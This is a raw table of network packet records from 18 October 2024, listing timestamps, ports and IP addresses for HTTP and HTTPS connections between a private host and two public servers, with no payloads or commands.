Oct 18, 2024 23:46:31.981267929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981277943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981307030 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.981673002 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981683969 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981738091 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.981775045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981786013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981796980 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981842041 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.982242107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.982290030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.982300997 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.982428074 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.982439041 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.982481003 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.021786928 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.021924973 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.022129059 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.022191048 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.022191048 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.022205114 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.022213936 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.025257111 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.025278091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.025290012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.025300026 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.025331974 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.025356054 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.025413036 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.025619030 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.025635958 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.055135965 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.055309057 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.056529045 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.057609081 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.057609081 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.057621002 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.057630062 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.058499098 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.058634043 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.059276104 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.059323072 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.059323072 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.059345007 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.059354067 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.060890913 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.060969114 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.061055899 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061127901 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.061161041 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061161041 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061161041 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061194897 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061218023 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061281919 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.061372995 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061403036 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.061458111 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061917067 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.061952114 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.064280033 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.064316034 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.064613104 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.064702034 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.064723969 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.100816965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.100954056 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.100963116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.100967884 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.101018906 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.101090908 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.101104975 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.101232052 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.101413012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.101424932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.101489067 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.101603985 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.101613045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.101618052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.101654053 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.102085114 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.102142096 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.102152109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.102180958 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.102200031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.102209091 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.102210999 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.102260113 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.146615028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.146626949 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.146636009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.146677017 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.187279940 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.220642090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.220721006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.220731974 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.220767021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.220773935 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.220824003 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.220848083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.221018076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.221029997 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.221064091 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.221126080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.221138000 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.221458912 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.221937895 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.221987009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.221997976 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.222003937 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.222039938 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.222042084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.222054958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.222067118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.222081900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.222119093 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.222645998 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.266170979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.266180992 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.266191006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.266241074 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.340137005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340148926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340161085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340166092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340217113 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.340260029 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.340317965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340382099 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340390921 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340428114 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.340646982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340662956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340672016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.340711117 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.340734959 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.341058969 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341068029 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341078043 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341120958 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.341284990 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341334105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341344118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341352940 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341375113 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.341828108 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341888905 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.341945887 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.361929893 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.361963034 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.385893106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.385905981 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.385915995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.385988951 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.405623913 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.406255007 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.406313896 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.406805038 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.406810999 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.459755898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.459775925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.459784985 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.459855080 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.459947109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.459958076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.459968090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460012913 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.460021019 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460031986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460068941 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.460473061 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460642099 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460649967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460684061 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.460697889 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460715055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460725069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460735083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460745096 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460752010 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.460756063 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.460764885 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.460791111 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.461570978 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.461864948 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.464564085 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.505498886 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.505584955 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.505594969 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.508235931 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.533729076 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.534826040 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.535176039 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.579381943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579410076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579420090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579473972 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579483986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579493999 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579505920 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579504967 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.579554081 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.579710960 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579821110 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579829931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579838991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.579864025 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.580163002 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.580174923 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.580183983 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.580193996 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.580204964 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.580209017 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.580221891 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.580233097 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.580233097 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.580257893 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.580269098 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.580971956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.624994993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.625082970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.625092983 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.625130892 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.625185013 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.678107977 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.699493885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699503899 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699518919 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699529886 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699539900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699549913 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699578047 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.699621916 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.699876070 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699925900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699935913 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699955940 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.699970007 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.700007915 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.700259924 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700268984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700308084 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.700330973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700402021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700411081 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700422049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700432062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700458050 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.700472116 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.700913906 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700925112 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700933933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.700953960 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.700979948 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.727660894 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.727694035 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.727705956 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.727711916 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.744621038 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.744678020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.744688988 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.744699955 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.744744062 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.744770050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.744780064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.744893074 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.750077009 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.791980028 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.792709112 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.792730093 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.793236017 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.793241024 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.796107054 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.799062967 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.799153090 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.799480915 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.799496889 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.799894094 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.799971104 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.800333977 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.800367117 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.801646948 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.801829100 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.801882982 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.801990986 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.802011013 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.802088022 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.802196980 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.802221060 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.802485943 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.802491903 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.818850040 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.818892956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.818902016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.818953991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.818964005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.818974018 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.818996906 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.819036007 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.819293976 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819354057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819364071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819374084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819417000 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.819727898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819739103 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819747925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819792986 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.819972992 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819983959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.819993973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.820003986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.820031881 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.820046902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.820069075 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.820200920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.820525885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.820576906 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.820585966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.820643902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.864288092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.864305973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.864315033 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.864326954 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.864335060 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.864341974 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.864365101 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.864394903 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.918152094 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.918306112 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.918374062 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.918488026 CEST	49802	443	192.168.2.5	13.107.246.45
